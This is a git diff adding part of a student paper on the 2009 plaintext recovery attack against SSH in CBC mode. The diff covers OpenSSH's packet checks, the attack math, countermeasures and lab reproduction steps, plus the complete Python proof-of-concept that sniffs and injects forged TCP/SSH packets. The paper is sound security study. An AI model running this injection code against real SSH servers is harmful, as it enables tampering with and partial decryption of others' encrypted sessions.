+The SSH specification \cite{rfc-transp} doesn't specify when an implementation should perform the above checks, but the OpenSSH implementations follows the straightforward approach of decrypting the first block as soon as it arrives. It then performs the following checks, in this order:
+
+\subsubsection{Length check} 
+In \texttt{packet.c}, the length field is checked to be at least $5$ and at most $2^{18}$, which is in line with the recommended sanity checking and the recommendation to support messages longer than $32768$ bytes where necessary. If this check fails, a \texttt{SSH2\_MSG\_DISCONNECT} is sent to the client, mentioning the value of the length field. The following is an excerpt from \texttt{packet.c}:
+
+\inputminted[fontsize=\footnotesize,linenos,xleftmargin=8mm,breaklines,tabsize=4,gobble=2,firstline=1093,lastline=1098]{c}{openssh-4.7p1/packet.c}
+
+The \mintinline{c}{packet_disconnect()} function terminates the session and sends the \texttt{SSH2\_MSG\_DISCONNECT} signal with the custom message to the client.
+
+\subsubsection{Block length check} 
+It is verified that \texttt{4 + length} is a multiple of the block size, which it has to be because the message with the length field (4 bytes) is encrypted. If this check fails, the TCP connection is terminated.
+
+\inputminted[fontsize=\footnotesize,linenos,xleftmargin=8mm,breaklines,tabsize=4,gobble=1,firstline=1103,lastline=1103]{c}{openssh-4.7p1/packet.c}
+\inputminted[fontsize=\footnotesize,linenos,xleftmargin=8mm,breaklines,tabsize=4,gobble=1,firstline=1106,lastline=1108]{c}{openssh-4.7p1/packet.c}
+
+\subsubsection{MAC check} 
+More data is accepted if the above two checks pass. After the full message and the MAC have been received (which is to be determined based on the length field), the MAC is checked. If it is invalid, a \texttt{SSH2\_MSG\_DISCONNECT} message is sent with the text ``\texttt{Corrupted MAC on input.}''
+
+The MAC is only computed in case the following \mintinline{c}{return} is not executed:
+
+\inputminted[fontsize=\footnotesize,linenos,xleftmargin=8mm,breaklines,tabsize=4,gobble=1,firstline=1113,lastline=1114]{c}{openssh-4.7p1/packet.c}
+
+Note that an eavesdropping attacker may distinguish between failures of the three checks. The first \texttt{SSH2\_MSG\_DISCONNECT} failure may be detected by looking at the size of the SSH responses. The second failure is indicated by the presence of a \texttt{TCP FIN} packet without payload (recall that the SSH BPP is placed on top of TCP, which means that TCP flags can be read without problems). The last failure may again be detected by looking at the size of the SSH responses. It can be distinguished from the first \texttt{SSH2\_MSG\_DISCONNECT} failure because if the MAC check fails, the server has been awaiting data before.
+
+\section{The Attack}
+\label{sec:attack}
+
+\subsection{Notation}
+Following \cite{kp2009}, we will use $K$ to denote the key of our block cipher, and let $F_K$ and $F_K^{-1}$ be the encryption and decryption operations, respectively. Let $L$ be the block size of the block cipher.
+
+Let $p_1,\dots,p_n$ be a sequence of plaintext blocks, then the ciphertext blocks are given by $$c_i = F_K(c_{i-1} \oplus p_i), \qquad i\in[1,n]$$ where $c_0$ is the last ciphertext block of the previous packet. It follows that $$p_i = c_{i-1} \oplus F_K^{-1}(c_i), \qquad i\in[1,n].$$
+
+As we're considering an attacker who wants to recover some plaintext, we let $c_i^*$ denote the block that he is attacking, $p_i^*$ the corresponding plaintext and $c_{i-1}^*$ the block before $c_i^*$. This gives $$p_i^*=c_{i-1}^* \oplus F_K^{-1}(c_i^*).$$ 
+
+At some point, the attacker will inject a ciphertext block as a new packet. We let $c_n$ denote the last ciphertext block of the packet preceding the injected packet (i.e., $c_n$ is the IV of that packet).
+
+I'm also introducing some notation in addition to \cite{kp2009}: \begin{align*}\cdots|_{m,n} \quad \stackrel{\text{def}}{=} \quad &\text{$n$ consecutive bits of $\cdots$ starting with index $m$,}\\&\text{starting with the MSB}\end{align*}
+
+\subsection{Single attack}
+\label{sec:attack-single}
+An attacker would inject $c_i^*$ as the first block of a new message\footnote{Theoretically, it is impossible to detect message boundaries. In practice however, a message end can be assumed to have occurred when the connection goes silent for some timeout.}. OpenSSH will then directly compute the plaintext for this injected block as \begin{equation}\label{eq:attack}p_1' = c_n \oplus F_K^{-1}(c_i^*),\end{equation} and continue to run the length check and block length check using $l=p_1'|_{0,32}$. There are then three possibilities. As mentioned before, the attacker can distinguish between the three cases.
+
+\subsubsection{Recovering 14 plaintext bits}
+The first possibility is that the length check fails, so $l<5$ or $l>2^{18}$. We can consider $c_n$ to be random and thus also $l'$ to be a random pick from $\{0,1\}^{32}$. Hence, the probability that this check fails is approximately $\left(2^{32}-2^{18}\right)/2^{32} = 1 - 2^{-14}$. In this case, the attack has failed.
+
+Now suppose the length check passes, which happens with probability $2^{-14}$. We then know that $5\le l \le 2^{18}$. This means that the first $14$ bits of $l$, and so also of $p_1'$, are all zeros\footnote{At least, that's what \cite{kp2009} claims. Actually, there's a small chance that $l=2^{18}$ in which case only the first $13$ bits are zero and can be recovered. However, if $l=2^{18}$ we can always continue to recover all 32 bits of the length field, so this error is corrected later on.}. We can then calculate the first 14 bits of the plaintext using equation \ref{eq:attack}: $$F_K^{-1}(c_i^*)|_{0,14} = p_1'|_{0,14} \oplus c_n|_{0,14}.$$
+
+\subsubsection{Recovering 32 plaintext bits}
+When the length check passes, OpenSSH continues to the block length check, where the divisability of $l$ by $L$ is checked. Since $l\bmod{L}$ may be considered a random pick, this happens with probability $L^{-1}$, i.e. $2^{-4}$ for $L=16$ and $2^{-3}$ for $L=8$. If the block length check passes, we know that the last $\log_2(L)$ bits of $l$ encode $L-4$ (minus $4$, because we subtract the length of the length field itself). We may then proceed to compute these last $3$ or $4$ bits of the first 32-bit word of $c_i^*$, as we did above with the first 14 bits. The probability that this is possible is then $2^{-14}\cdot2^{-4}=2^{-18}$ for $L=16$ and $2^{-17}$ for $L=8$.
+
+What's more, if the block length check passes, the SSH connection has entered a wait state. An attacker would then continue to feed random blocks to the server. At some point, the connection will however be terminated due to a MAC error. If we count how much data we sent until the MAC error is triggered, we can use this to work out the exact value of the 32-bit length field. We can then compute the first 32 bits of the plaintext of $c_i^*$ using equation \ref{eq:attack}. This final attack succeeds with probability $2^{-18}$ for $L=16$ and $2^{-17}$ for $L=8$.
+
+There is a small chance that we accidentally guess the right MAC. \cite{kp2009} does not go into details what would happen then -- if the attacker could recognise it or not, because the probability of this happening is very low. For example, for \texttt{hmac-md5}, with a 16-byte MAC, the probability is $2^{-128}$ supposing the block length check passed, or $2^{-18}\cdot2^{-128}$ overall (for $L=16$).
+
+\subsection{Limitations}
+\label{sec:attack-limitations}
+There are some serious limitations to this attack that make it difficult to actually use this weakness efficiently. Not all are described in \cite{kp2009}, but they are still worth mentioning.
+
+First of all, it should be noted that not all plaintext bits can be chosen to recover. Only the first 32 bits of any block can be recovered. For $L=8$ this means we can choose half of the bits, for $L=16$ we may choose one in four. Furthermore, we will never be able to recover more than 4 consecutive bytes.
+
+The success probability of the 14-bit recovery attack ($2^{-14}$) is very low. It is equal to that of the attack where an adversary simply guesses the plaintext. The only difference is that the attacker can verify his answer in this attack. 
+
+When the SSH connection enters a wait state and we continue to recover 32 bits with probability $2^{-18}$ (or $2^{-17}$), the success probability is relatively much higher. However, for this attack to work we would need to feed on average $2^{17}$ bytes of random data before the MAC check triggers. More importantly, after every block we feed to the server, we need to wait for some time to make sure the server has had the time to respond with an error -- otherwise, we may think the server is awaiting more data while it's actually already checking the MAC. This could cause our final computations to be slightly incorrect. This means actually exploiting this attack would take a lot of time.
+
+In a response to the vulnerability report the authors of \cite{kp2009} opened, the OpenSSH Security Advisory wrote \cite{openssh-response}:
+
+\begin{displayquote}
+\textit{``The usage pattern where the attack is most likely to succeed is where an automated connection is configured to retry indefinitely in the event of errors. In this case, it might be possible to recover on average 44 bits of plaintext per hour (assuming a very fast 10 connections per second). Implementing a limit on the number of connection retries (e.g. 256) is sufficient to render the attack infeasible for this case.''}
+\end{displayquote}
+
+\subsection{Iterating the attack}
+\label{sec:attack-iterating}
+Simply repeating the above attack would use at most $2^{18}$ SSH connections\footnote{\cite[sec.~3.4]{kp2009} says this is on average, but that would be $2^{17}$ for $L=16$ and $2^{16}$ for $L=8$.} before succeeding to recover 32 bits. By cleverly choosing the moment the attacker injects $c_i^*$, we may reduce this to at most $2^{14}+L$ connections. This attack can be split up in three phases.
+
+\begin{enumerate}
+    \item The attacker waits for a $c_n$ to appear of which he hasn't seen the first 14 bits yet. He then injects $c_i^*$ as a new packet, in an attempt to recover the 14 first bits as above. This phase requires a list of at most $2^{14}$ 14-bit values (28KiB), indicating which 14-bit bit strings have been seen already.
+    \item The attacker has now found the first 14 bits. He continues, to try and get the block length check to pass as well. However, he will only inject $c_i^*$ when he is sure the length check will pass (which he can see from the first 14 bits of an IV candidate). Even though waiting for this to happen may take some time, he only needs to set up at most $L$ connections in this phase before the block length check passes (similar to before, the attacker only tries IVs that are guaranteed to give a different value of $l\bmod{L}$).
+    \item The last phase is the same as the last phase of the 32-bit recovery attack: the attacker simply continues feeding data until the MAC check triggers.
+\end{enumerate}
+
+Under special circumstances it may be the case that the attacker can guess a part of the plaintext (e.g. the first few blocks of a remote login session may always look the same, or it can be assumed that the plaintext is printable ASCII) he can use similar tricks to reduce the number of needed SSH connections even further.
+
+\section{Reproduction}
+\label{sec:reproduction}
+
+The authors of \cite{kp2009} mention their `proof-of-concept code' several times, but didn't publish it. I asked for their code to be able to perform the attack myself in a testing environment, and Martin Albrecht was so kind to provide a link \cite{kp2009-poc}.
+
+To reproduce the attack in sections \ref{sec:reproduction-server} and \ref{sec:reproduction-attacker}, I assume a *nix setup. Section \ref{sec:reproduction-expl} isn't platform-specific.
+
+\subsection{Testing server}
+\label{sec:reproduction-server}
+To not have to worry about network delay and the like, it is very useful to set up some sort of virtual network. This is even more useful because you get to tweak the SSH implementation to disable some checks and increase the attack probability from $2^{-14}$ to $2^{-2}$ in the manner described in \cite[sec.~4]{kp2009}. This can be done using LXC containers \cite{lxc}, \cite{ubuntu-lxc}, which is the approach I will take here. Any method will do, as long as latency can be kept low. 
+
+Assuming you have LXC installed on your machine, you can create and start a container, and get a root console for it, with:
+
+\begin{minted}[fontsize=\footnotesize,breaklines=true]{bash}
+$ lxc-create -t download -n ssh-attack -- -d ubuntu -r trusty -a amd64
+$ lxc-start -n ssh-attack -d
+$ lxc-attach -n ssh-attack
+\end{minted}
+%stopzone
+
+Now download OpenSSH 4.7\footnote{Although versions up to and including 5.1 are vulnerable to the attack, we used the same version as \cite{kp2009}, so that we could search in the source code for code snippets from the paper.}, patch it to ease the length check as described in \cite[sec.~4.1; 2.1.1]{kp2009}, and install:
+
+\begin{minted}[fontsize=\footnotesize,breaklines=true]{bash}
+$ apt-get update
+$ apt-get install wget build-essential zlib1g-dev libssl-dev
+$ wget http://ftp.nluug.nl/pub/OpenBSD/OpenSSH/portable/openssh- 4.7p1.tar.gz
+$ tar -xf openssh-4.7p1.tar.gz
+$ cd openssh-4.7p1
+$ sed -i 's/packet_length\ =\ get_u32(cp);/packet_length\ =\ 0x000fffff\ \&\ get_u32(cp);/g' packet.c
+$ ./configure --prefix=/opt/openssh --exec-prefix=/opt/openssh
+$ make
+$ make install
+\end{minted}
+%stopzone
+
+You could change the \mintinline{bash}{0x000fffff} to ease the length check more, or less. A lower value causes the length check to fail less, but there's no point in going below \mintinline{bash}{0x0003ffff}, which is $2^{18}-1$.
+
+Now add the \texttt{sshd} user and set the password for the \texttt{ubuntu} user to `\texttt{ubuntu}'.
+
+\begin{minted}[fontsize=\footnotesize,breaklines=true]{bash}
+$ useradd -d /var/run/sshd -s /usr/sbin/nologin -r -U sshd
+$ usermod -p $(perl -e 'print crypt("ubuntu", "salt")') ubuntu
+\end{minted}
+%stopzone
+
+You can now run the server with \mintinline{bash}{/opt/openssh/sbin/sshd}. See \texttt{/opt/openssh/share/man/cat8/sshd.8} manpage for command line arguments. Typically you would want to use debug logging and IPv4 only:
+
+    \begin{minted}[fontsize=\footnotesize,breaklines,autogobble]{bash}
+    $ /opt/openssh/sbin/sshd -d4
+    \end{minted}
+    %stopzone
+
+Not detaching \texttt{sshd} with \texttt{-D} could be useful for debugging, but the server would stop after connection termination, so the attack cannot be performed in this mode.
+
+\subsection{Attacker}
+\label{sec:reproduction-attacker}
+The proof-of-concept code \cite{kp2009-poc} is in essence enough to confirm that the attack works. You might need to install \texttt{python-scapy} first. For the LXC setup described above you would normally need to change the configuration to:
+
+\begin{minted}[fontsize=\footnotesize,breaklines=true]{python}
+iface='lxcbr0'
+bob='10.0.1.1'
+alice='10.0.1.30'
+\end{minted}
+
+You also need to replace `\texttt{10.0.0.2}' with `\texttt{alice}' on line 105.
+
+Then simply load the file in a python shell and start the attack:
+
+\begin{minted}[fontsize=\footnotesize,breaklines=true]{bash}
+$ python -i ssh-attack.py 
+>>> ssh_attack()
+\end{minted}
+%stopzone
+
+The output would look somewhat like this:
+
+\begin{minted}[fontsize=\footnotesize,breaklines=true]{text}
+    0: packet_length < 1 + 4 || packet_length > 256 * 1024
+    1: need % block_size != 0
+.    2: buffer_len(&input) < need + maclen
+144204
+\end{minted}
+
+A log message similar to nr. \texttt{0} here means the length check has failed. You will notice this happens by far the most (although this of course depends on how much you eased this check with the patch in section \ref{sec:reproduction-server}). A message similar to nr. \texttt{1} means the block length check failed. The last message means the block length has passed. The python script will then continue feeding random data to the server. It may take a while before this finishes. After that, a number will be outputted. This number is the calculated packet length. The script does \emph{not} output the recovered plaintext -- ``it is very much proof-of-concept only,'' Mr. Albrecht wrote me -- but considering it is not so hard to imagine an attacker that is able to sniff traffic, this should be enough to conclude the attack works.
+
+\subsection{Code explanation}
+\label{sec:reproduction-expl}
+I will just very briefly describe the most important parts from the proof-of-concept code, from a cryptographic point of view, that is. The \mintinline{python}{ssh_attack()} function contains an infinite loop to keep trying to recover new plaintext. It first generates some traffic, for which the username and password you set in section \ref{sec:reproduction-server} are needed (see the top of this section). After that, it injects a sniffed ciphertext as a new block. It then arrives at the following snippet, where we can see how an attacker would distinguish between different failures:
+
+\inputminted[fontsize=\footnotesize,linenos,xleftmargin=3\parindent,breaklines,tabsize=2,gobble=8,firstline=135,lastline=153]{python}{ssh-attack.py}
+
+The \mintinline{python}{if} statement in line 138 checks ``if the packet list has a payload packet (i.e. it is neither only an ACK nor a FIN)'' (lines 71-72). In this case, it can be assumed that that payload is an SSH error message, which would mean that the length check failed.
+The \mintinline{python}{elif} statement in line 142 checks if the block length check failed. Concretely, this would mean for there to appear a FIN flag in the response, which is easy to check.
+The condition of the \mintinline{python}{elif} statement in line 145 is true iff the two conditions above were false, and could have been replaced with a simple \mintinline{python}{else}. The \mintinline{python}{handle_wait_state()} function feeds data to the server and returns when he receives a MAC failure error message. This is detected in the same way as the SSH error message in \mintinline{python}{got_invalid_packet_length()} was detected.
+
+Finally, the packet length is calculated using the selfexplanatory function \mintinline{python}{calc_packet_length()}:
+
+\inputminted[fontsize=\footnotesize,linenos,xleftmargin=3\parindent,breaklines,tabsize=2,gobble=4,firstline=257,lastline=266]{python}{ssh-attack.py}
+
+
+\section{Comparison with proven security}
+\label{sec:provensecurity}
+
+The SSH BPP was discussed by Bellare \emph{et al.} \cite{bellare}, who broke it but also suggested a couple of small changes -- implementing any would improve the protocol and make it provable secure. However, the attacks from \cite{kp2009} are applicable, also to these provable secure variants. It is odd that the attack described in section \ref{sec:attack}, which succeeds with probability \emph{far} from negligible, is possible against a scheme that is proven secure.
+
+What turns out to be the case is that Bellare \emph{et al.} \cite{bellare} considered a single error message (``$\bot$''), which doesn't let an attacker distinguish between failures in the different checks. A single error message would make sense for the length check and the block length check, however, with any natural implementation of the SSH BPP an attacker could distinguish a MAC failure, because the connection has been in a wait state in this case. Hence, one could argue that the choice made in \cite{bellare} to use a single error message wasn't accurate.
+
+This, together with some other minor differences, explains why a system that has been proven secure turned out to be insecure in practice -- at least with the natural implementation OpenSSH uses.
+
+\subsection{SSH-NPC and SSH-\$NPC}
+Suggestions have been made to use random per-packet IVs rather than interpacket chaining. The NPC variant uses fixed padding and was broken by Bellare \emph{et al.} \cite{bellare}, who then directly introduced SSH-\$NPC, which uses random padding and random IVs. The random IV would be transmitted along with the message, in the plain.
+
+Supposing OpenSSH would be extended in the obvious way to support SSH-\$NPC (or SSH-NPC for that matter), this change would not prevent the attacks from \cite{kp2009}. We would only need to replace $c_n$ (the last ciphertext block) by the random IV. The success probabilities remain the same.
+
+In the iterated attack from section \ref{sec:attack-iterating}, the attacker even has an advantage when using SSH-(\$)NPC. He has the ability to control the IV of the injected packet, and may thus systematically build the size $2^{14}$ table instead of having to wait for new IVs to appear on the line.
+
+\cite[sec.~5.1]{kp2009} also describes a distinguishing attack against SSH-(\$)NPC with probability $1$, but as it is irrelevant for the attacks in section \ref{sec:attack}, I won't go into details here. 
+
+Clearly, randomised IVs won't help securing the BPP against the plaintext recovery attacks found in \cite{kp2009}.
+
+\section{Countermeasures}
+\label{sec:countermeasures}
+
+Bellare \emph{et al.} \cite{bellare} also suggested three other variants of the SSH BPP, that actually do protect from these attacks. Two variants (SSH-CTRIV-CBC and SSH-EIV-CBC) use a special way of computing the IV (the encryption of a counter and the encipherment of the last ciphertext block, respectively) which makes computing the IV infeasible for the attacker. This would mean that the attacker cannot use equation \ref{eq:attack} anymore. The last variant, SSH-CTR, uses counter mode, and is resistant to the plaintext recovery attacks due to its stateful nature.
+
+Naturally, changing the BPP is not something anyone is eager to do (although there is an RFC to standardise SSH-CTR). Fortunately, there were other ways of defending against the attacks from section \ref{sec:attack}. 
+
+A first step was to have the length check and the block length check fail in a similar fashion. In version 1.158 of OpenSSH's \texttt{packet.c}, both failed with an SSH error message. This prevents the 14-bit recovery attack, but doesn't prevent the 32-bit recovery attack -- the latter doesn't rely on distinguishing between a length check failure and a block length failure, but on the wait state of the SSH connection.
+
+A very neat countermeasure was suggested by Denis Bider of Bitvise \cite{bider}. He suggests randomising the length field if either of the length checks fails. The connection will then enter a wait state regardless of the checks, meaning an attacker cannot distinguish between any of the three failures (length check, block length check, MAC) anymore.
+
+Another solution would be to send the length field in the plain. If the protocol were adapted in such a way, all attacks described in \cite{kp2009} would be nullified. However, sending the length field in the plain could give other roblems, especially concerning DoS attacks.
+
+It should be noted that removing the length checks, while making sure there is nothing for an attacker to distinguish, only increases the success probability to $1$. However, it should also be noted that this attack would then require 2GiB random data to be fed to the server to recover 32 plaintext bits, on average.
+
+\section{Scope of the attacks}
+\label{sec:scope}
+
+The plaintext recovery attacks described in section \ref{sec:attack} don't only work against SSH. They are at the very least worth trying against any protocol combining the following:
+
+\begin{itemize}
+    \item An encrypted length field
+    \item CBC mode
+    \item The possibility for a client to deliver new data block by block
+    \item Detailed error signaling
+\end{itemize}
+
+However, as said in section \ref{sec:attack-limitations}, the exploitability of the attacks can be considered \emph{low}. As for OpenSSH, several improvements have been made already, in order to decrease success probabilities, making the attacks from \cite{kp2009} an \emph{academic} break only.
+
+\section{Conclusion and epilogue}
+\label{sec:conclusion}
+
+We have seen and discussed the plaintext recovery attacks against SSH described in \cite{kp2009}, and their limitations. We have seen their mathematical background and a proof-of-concept implementation. Moreover, we explained why the attacks are possible against a scheme that was proven secure in \cite{bellare}. We mentioned several countermeasures that may be taken against the attacks. Finally, we discussed what other protocols could be affected by this kind of attacks.
+
+Since the attacks were found in 2008, OpenSSH has been fixed and recent versions are no longer vulnerable to the attacks from \cite{kp2009}. 
+
+Besides that concrete and practical aspect of \cite{kp2009}, the paper also taught us the importance of an accurate threat model. The choice to use a single error message ``$\bot$'' in the paper by Bellare \emph{et al.} \cite{bellare} caused us to think the SSH BPP was secure, while in fact actual implementations weren't. It is therefore important that threat models are accurately chosen. If it is impossible to strictly define an attacker's abilities, it is always better to stay on the safe side and give him more power than he actually has. 
+
+\begin{thebibliography}{9}
+\bibitem{kp2009} Martin R. Albrecht, Kenneth G. Paterson and Gaven J. Watson. Plaintext Recovery Attacks against SSH, University of London, 2009. \url{http://isg.rhul.ac.uk/~kp/SandPfinal.pdf}
+\bibitem{kp2009-poc} Martin Albrecht. Proof-of-concept implementation of [APW09]. \url{https://bitbucket.org/malb/research-snippets/src/HEAD/ssh-attack.py}
+\bibitem{bellare} M. Bellare, T. Kohno, and C. Namprempre. Breaking and Provably Repairing the SSH Authenticated Encryption Scheme: A Case Study of the Encode-then-Encrypt-and-MAC Paradigm. \emph{ACM Transactions on Information and Systems Security}, 7(2):206--241, 2004.
+\bibitem{rfc-arch} T. Ylonen and C. Lonvick. The Secure Shell (SSH) Protocol Architecture, RFC 4251, Jan. 2006. \url{http://www.ietf.org/rfc/rfc4251.txt}
+\bibitem{rfc-auth} T. Ylonen and C. Lonvick. The Secure Shell (SSH) Authentication Protocol, RFC 4252, Jan. 2006. \url{http://www.ietf.org/rfc/rfc4252.txt}
+\bibitem{rfc-transp} T. Ylonen and C. Lonvick. The Secure Shell (SSH) Transport Layer Protocol, RFC 4253, Jan. 2006. \url{http://www.ietf.org/rfc/rfc4253.txt}
+\bibitem{rfc-conn} T. Ylonen and C. Lonvick. The Secure Shell (SSH) Connection Protocol, RFC 4254, Jan. 2006. \url{http://www.ietf.org/rfc/rfc4254.txt}
+\bibitem{openssh} OpenSSH Project. \url{http://www.openssh.org/}
+\bibitem{ssh-usage} SSH usage profiling. \url{http://www.openssh.org/usage/index.html}
+\bibitem{openssh-response} OpenSSH Security Advisor, 21/11/2008. \url{http://www.openssh.com/txt/cbc.adv}
+\bibitem{bider} Denis Bider, personal communication with the authors of \cite{kp2009}, 18/11/2008.
+\bibitem{lxc} LXC at the Linux Containers project. \url{https://linuxcontainers.org/lxc/introduction/}
+\bibitem{ubuntu-lxc} LXC guide for Ubuntu. \url{https://help.ubuntu.com/lts/serverguide/lxc.html}
+\end{thebibliography}
+
+\end{document}
diff --git a/SSH Attack Summary/openssh b/SSH Attack Summary/openssh
new file mode 160000
+Subproject 09bfb50d0dc78390593749e6f37e403da404dc9
diff --git a/SSH Attack Summary/ssh-attack.py b/SSH Attack Summary/ssh-attack.py
new file mode 100644
index 0000000..22cac00
--- /dev/null
+++ b/SSH Attack Summary/ssh-attack.py
@@ -0,0 +1,267 @@
+#!/usr/bin/python
+"""
+Proof-of-concept implementation of [APW09]_
+
+.. [APW09] Martin R. Albrecht, Kenneth G. Paterson and Gaven J. Watson
+   Plaintext Recovery Attacks Against SSH
+   IEEE Security & Privacy 2009. IEEE 2009.
+
+AUTHOR: Martin Albrecht <martinralbrecht@googlemail.com>
+"""
+import pdb
+import pxssh
+import thread
+import scapy
+import time
+import sys
+import commands
+
+from scapy.all import IP, TCP
+
+#
+# Configuration
+#
+
+iface='lxcbr0'    # the interface we work on
+bob='10.0.1.1'    # the client
+alice='10.0.1.30' # the server
+
+def sniff_ssh_conversation(port):
+    """
+    Sniff the conversation between alice and bob and return the last
+    SSH request/response pair.
+    """
+    packets = scapy.all.sniff(iface=iface, timeout=2, filter="tcp port %d"%port)
+    packets = [p[IP] for p in packets if len(p[TCP]) > 4*p[TCP].dataofs]
+
+    an = 0
+    for p in reversed(packets):
+        if p.src == bob and p.dst == alice:
+            req = p
+            an = req[TCP].ack
+            break
+    else:
+        raise IndexError("Request packet not found")
+
+    for p in reversed(packets):
+        if p.src == alice and p.dst == bob and p[TCP].seq == an:
+            res = p
+            break
+    else:
+        raise IndexError("Response packet not found")
+
+    return req, res
+
+def delayed(func):
+    """
+    Execute func one second late.
+    """
+    def wrapper(*args, **kwds):
+        time.sleep(1)
+        return func(*args, **kwds)
+    wrapper.__doc__ = func.__doc__
+    return wrapper
+
+@delayed
+def generate_ssh_traffic(s):
+    s.send("a")
+
+def got_invalid_packet_length(response):
+    """
+    Return True if the packet list has a payload packet (i.e. it is
+    neither only an ACK nor a FIN). We then assume that the packet
+    contains an SSH error message which could either be a
+    packet_length failure or a MAC failure which we ignore.
+    """
+    for (a,b) in response:
+        if len(b[TCP]) > b[TCP].dataofs*4:
+            return True
+    return False
+
+def has_blocksize_failure(response):
+    """
+    Return True if packet list contains a FIN and no 'size failure'
+    packet.
+    """
+    if got_invalid_packet_length(response):
+        return False
+    for (a,b) in response:
+        if (b[TCP].flags & 1):
+            return True
+    return False
+
+def is_wait_state(response):
+    """
+    Return True if neither has_blocksize_failure nor
+    got_invalid_packet_length is True.
+    """
+    return not got_invalid_packet_length(response) and not has_blocksize_failure(response)
+
+def get_port_number():
+    """
+    Get port number of current SSH session using 'netstat'.
+    """
+    for line in commands.getoutput("netstat -tn").splitlines():
+        if alice + ":22" in line and "ESTABLISHED" in line:
+            src = [e for e in line.split(' ') if e != ''][3]
+            return int(src.split(":")[1])
+
+def ssh_attack():
+    i = -1
+    while True:
+        i+=1
+        sys.stdout.flush()
+
+        # 1. start a fresh SSH session
+        s = pxssh.pxssh()
+        s.login(alice, "alice", "alice")
+        port = get_port_number()
+
+        # 2.1. generate some traffic
+        thread.start_new_thread(generate_ssh_traffic, (s,))
+
+        # 2.2. sniff data & inject
+        try:
+            a, b = sniff_ssh_conversation(port)
+            c = gen_packet(b)
+            result = scapy.all.sr(c, iface=iface, verbose=False, timeout=1, multi=True)
+        except IndexError:
+            s.send("\n")
+            s.logout()
+            s.close()
+            print "Crap, something went wrong."
+            continue
+
+        # 3. check the response from the server
+        response = result[0]
+
+        if got_invalid_packet_length(response):
+            # TODO: We ignore MAC Failures here.
+            print "%5d: packet_length < 1 + 4 || packet_length > 256 * 1024"%(i,)
+            continue
+        elif has_blocksize_failure(response):
+            print "%5d: need %% block_size != 0"%(i)
+            continue
+        elif is_wait_state(response):
+            print "%5d: buffer_len(&input) < need + maclen "%(i,),
+            for (a,b) in response:
+                if is_ack(b):
+                    break
+            try:
+                return handle_wait_state(b, port)
+            except PacketLengthUnlikely:
+                continue
+        else:
+            raise RuntimeError("This case should never happen",response,s)
+    return s
+
+def gen_packet(p, size=16):
+    """
+    Generate an SSH package which replies to p.
+    """
+    a = IP()
+    a.src = p[IP].dst
+    a.dst = p[IP].src
+
+    b = TCP()
+    b.sport = p[TCP].dport
+    b.dport = p[TCP].sport
+
+    b.seq = p[TCP].ack
+    b.ack = p[TCP].seq + len(p[TCP]) - (p[TCP].dataofs*4)
+
+    timestamp = p[TCP].options[2][1]
+    b.flags = 0x18 # PA
+    b.options = [('NOP', None), ('NOP', None), ('Timestamp', (timestamp[1]+100, timestamp[0]))]
+    b.payload = '0'*size
+    return a/b
+
+def is_ack(p):
+    return p[IP].proto == 6 and len(p[TCP]) == p[TCP].dataofs*4 and p[TCP].flags & 16
+
+class PacketLengthUnlikely(Exception):
+    """
+    Raised if the value in the packet length field is unlikely,
+    i.e. it is very small.
+    """
+    pass
+
+class MACFailure(Exception):
+    """
+    Raised if we see a MAC failure on the wire.
+    """
+    pass
+
+last = None
+
+def wait_state_callback(pkt):
+    """
+    Called on every packet on the wire.
+    """
+    global last
+
+    if is_ack(pkt) and pkt[TCP].seq == last[TCP].ack:
+        # We received an ACK for our last SSH request, so we send
+        # another one. However, the TCP stack (in the kernel) might
+        # send out ACKs before SSH got a chance to reply with an SSH
+        # connection teardown, since computing a MAC for a long
+        # message takes time. We have two strategies to deal with
+        # that:
+
+        # Strategy 1: We send packets that are too small. So if we
+        # send to many we know how many were too much. To enable this,
+        # set the second parameter to something < 16.
+
+        pkt = gen_packet(pkt,16)
+        last = pkt
+
+        # Strategy 2: We slow ourselves down here.
+        #time.sleep(0.05)
+
+        scapy.all.send(pkt, verbose=False)
+        return
+
+    elif len(pkt[TCP]) > (pkt[TCP].dataofs*4):
+        # We received a payload and assume a MAC failure.
+        raise MACFailure(pkt)
+    else:
+        # Something wrong happened, this should never happen.
+        raise TypeError("Unknown response", pkt)
+
+def handle_wait_state(pkt, port):
+    """
+    We send small packets until we receive a MAC failure. The sending
+    is done via a callback only the initial packet is sent in this
+    function. We keep track of the sent packets via the sequence
+    numbers of TCP.
+    """
+    global last
+
+    pkt = gen_packet(pkt)
+    last = pkt
+    first_seq = int(pkt[TCP].seq)
+
+    thread.start_new_thread(delayed(scapy.all.send), (pkt,))
+
+    try:
+        scapy.all.sniff(iface=iface, filter="src host %s && tcp port %d"%(alice,port,), prn=wait_state_callback)
+    except MACFailure, pkt:
+        return calc_packet_length(pkt.message, first_seq)
+
+def calc_packet_length(pkt, first_seq):
+    """
+    Given a MAC failure message and a first sequence number calculate
+    the correct number of bytes sent and thereby the value of the
+    packet_length field.
+    """
+    packet_length = pkt[TCP].ack - first_seq
+
+    packet_length -= packet_length % 16
+
+    packet_length += 16 # account bytes sent initially
+
+    packet_length -= 4  # don't count the packet_length field itself
+    packet_length -= 16 # don't count the MAC
+
+    return packet_length
+
diff --git a/Summary/Summary.tex b/Summary/Summary.tex
new file mode 100644
index 0000000..8673d16
--- /dev/null
+++ b/Summary/Summary.tex
@@ -0,0 +1,469 @@
+\documentclass[9pt,twocolumn]{extarticle}
+
+\usepackage[english]{babel}
+\usepackage[utf8]{inputenc}
+\usepackage{fourier}
+\usepackage[margin=19mm]{geometry}
+\usepackage[hidelinks]{hyperref}
+
+\usepackage{amsmath,calrsfs}
+\DeclareMathAlphabet{\pazocal}{OMS}{zplm}{m}{n}
+
+\usepackage{enumitem}
+\setlist{itemsep=0pt,parsep=1pt}
+
+\setlength{\parindent}{0pt}
+
+\usepackage{framed}
+\usepackage{xcolor}
+\definecolor{shadecolor}{gray}{0.90}
+
+\title{Cryptography -- Summary}
+\author{Camil Staps}
+
+\DeclareMathOperator{\ord}{ord}
+\DeclareMathOperator{\lcm}{lcm}
+\DeclareMathOperator{\lsb}{lsb}
+\DeclareMathOperator{\Adv}{Adv}
+
+\let\from\leftarrow
+
+\newcommand{\define}[2]{\begin{shaded*}\textbf{#1}
+
+#2\end{shaded*}}
+
+\begin{document}
+
+\maketitle
+
+%\emph{A summary of the most important ideas and definitions from the Cryptography course given at the Radboud University Nijmegen, spring 2015.}
+%
+%\emph{A picture says more than a thousand words, so it would be wise to look up illustrations in the slides or on the web.}
+
+\section{Stream Ciphers}
+\define{Pseudo Random Generator (PRG)}{A function $G:\{0,1\}^s\to\{0,1\}^n$ where $n>>s$ which is efficiently computable by a deterministic algorithm.}
+
